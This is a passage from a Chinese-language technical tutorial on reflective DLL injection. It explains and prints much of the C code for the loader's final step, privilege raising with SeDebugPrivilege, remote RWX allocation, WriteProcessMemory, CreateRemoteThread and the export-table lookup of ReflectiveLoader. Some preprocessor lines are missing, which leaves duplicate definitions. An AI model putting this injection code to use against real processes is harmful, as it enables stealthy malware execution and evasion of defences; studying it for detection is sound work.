49 | } |
6) 调用DLL入口点
至此,ReflectiveLoader的任务全部完成,我们最后调用第1)步得到的NtFlushInstructionCache()清除指令缓存以避免问题。最后ReflectiveLoader将控制权转交给DLL文件的入口点,这个入口点可以通过NT可选印象头中的AddressOfEntryPoint找到。一般地,它会完成C运行库的初始化,执行一系列安全检查并调用dllmain。
1 | |
2 | // STEP 6: call our images entry point |
3 | |
4 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point |
5 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); |
6 | |
7 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. |
8 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); |
9 | |
10 | // call our respective entry point, fudging our hInstance value |
11 |
|
12 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) |
13 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); |
14 |
|
15 | // if we are injecting an DLL via a stub we call DllMain with no parameter |
16 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); |
17 |
|
18 | |
19 | // STEP 7: return our new entry point address so whatever called us can call DllMain() if needed. |
20 | return uiValueA; |
inject的实现
总体流程
利用CreateFileA加载reflective_dll得到句柄
1 | hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); |
通过GetFileSize得到reflective_dll文件大小
1 | dwLength = GetFileSize( hFile, NULL ); |
分配一块堆内存利用ReadFile去将reflective_dll读入进程内存空间。
1 | lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); |
2 | if( !lpBuffer ) |
3 | BREAK_WITH_ERROR( "Failed to get the DLL file size" ); |
4 | |
5 | if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) |
6 | BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); |
提权
1 | if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) |
2 | { |
3 | priv.PrivilegeCount = 1; |
4 | priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |
5 | |
6 | if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) |
7 | AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); |
8 | |
9 | CloseHandle( hToken ); |
10 | } |
利用OpenProcess函数去打开目标进程
1 | hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); |
然后利用LoadRemoteLibraryR实现dll的注入
1 | hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); |
LoadRemoteLibraryR的实现
流程
获取dll文件中的ReflectiveLoader的偏移
1 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); |
在宿主进程中分配一段可读可执行的内存空间
1 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
把dll映像写入进程
1 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) |
2 | break; |
使用CreateRemoteThread创建远程线程并执行ReflectiveLoader
1 | // add the offset to ReflectiveLoader() to the remote library address... |
2 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); |
3 | |
4 | // create a remote thread in the host process to call the ReflectiveLoader! |
5 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); |
具体代码如下:
1 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter ) |
2 | { |
3 | BOOL bSuccess = FALSE; |
4 | LPVOID lpRemoteLibraryBuffer = NULL; |
5 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; |
6 | HANDLE hThread = NULL; |
7 | DWORD dwReflectiveLoaderOffset = 0; |
8 | DWORD dwThreadId = 0; |
9 | |
10 | __try |
11 | { |
12 | do |
13 | { |
14 | if( !hProcess || !lpBuffer || !dwLength ) |
15 | break; |
16 | |
17 | // check if the library has a ReflectiveLoader... |
18 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer ); |
19 | if( !dwReflectiveLoaderOffset ) |
20 | break; |
21 | |
22 | // alloc memory (RWX) in the host process for the image... |
23 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
24 | if( !lpRemoteLibraryBuffer ) |
25 | break; |
26 | |
27 | // write the image into the host process... |
28 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) |
29 | break; |
30 | |
31 | // add the offset to ReflectiveLoader() to the remote library address... |
32 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); |
33 | |
34 | // create a remote thread in the host process to call the ReflectiveLoader! |
35 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId ); |
36 | |
37 | } while( 0 ); |
38 | |
39 | } |
40 | __except( EXCEPTION_EXECUTE_HANDLER ) |
41 | { |
42 | hThread = NULL; |
43 | } |
44 | |
45 | return hThread; |
46 | } |
GetReflectiveLoaderOffset的实现
取ReflectiveLoader函数在DLL文件中的文件偏移通过传参进来的基地址强制类型转换成PIMAGE_DOS_HEADER类型指向e_lfanew,加上基地址得到NT Header。 找到导出表 从导出表中通过AdressOfName表找到 ReflectiveLoader,计算出他的索引值,从而在AddressOfFuction表中找到该函数地址,再转换为在DLL中的文件偏移。
具体代码如下
1 | DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer ) |
2 | { |
3 | UINT_PTR uiBaseAddress = 0; |
4 | UINT_PTR uiExportDir = 0; |
5 | UINT_PTR uiNameArray = 0; |
6 | UINT_PTR uiAddressArray = 0; |
7 | UINT_PTR uiNameOrdinals = 0; |
8 | DWORD dwCounter = 0; |
9 |
|
10 | DWORD dwCompiledArch = 2; |
11 |
|
12 | // This will catch Win32 and WinRT. |
13 | DWORD dwCompiledArch = 1; |
14 |
|
15 | |
16 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; |
17 | |
18 | // get the File Offset of the modules NT Header |
19 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; |
20 | |
21 | // currenlty we can only process a PE file which is the same type as the one this fuction has |
22 | // been compiled as, due to various offset in the PE structures being defined at compile time. |
23 | if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32 |
24 | { |
25 | if( dwCompiledArch != 1 ) |
26 | return 0; |
27 | } |
28 | else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64 |
29 | { |
30 | if( dwCompiledArch != 2 ) |
31 | return 0; |
32 | } |
33 | else |
34 | { |
35 | return 0; |
36 | } |
37 | |
38 | // uiNameArray = the address of the modules export directory entry |
39 | uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; |
40 | |
41 | // get the File Offset of the export directory |
42 | uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress ); |
43 | |
44 | // get the File Offset for the array of name pointers |
45 | uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress ); |
46 | |
47 | // get the File Offset for the array of addresses |
48 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); |
49 | |
50 | // get the File Offset for the array of name ordinals |
51 | uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress ); |
52 | |
53 | // get a counter for the number of exported functions... |
54 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames; |
55 | |
56 | // loop through all the exported functions to find the ReflectiveLoader |
57 | while( dwCounter-- ) |
58 | { |
59 | char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress )); |
60 | |
61 | if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL ) |
62 | { |
63 | // get the File Offset for the array of addresses |
64 | uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress ); |
65 | |
66 | // use the functions name ordinal as an index into the array of name pointers |
67 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); |
68 | |
69 | // return the File Offset to the ReflectiveLoader() functions code... |
70 | return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress ); |
71 | } |
72 | // get the next exported function name |
73 | uiNameArray += sizeof(DWORD); |
74 | |
75 | // get the next exported function name ordinal |
76 | uiNameOrdinals += sizeof(WORD); |
77 | } |
78 | |
79 | return 0; |
80 | } |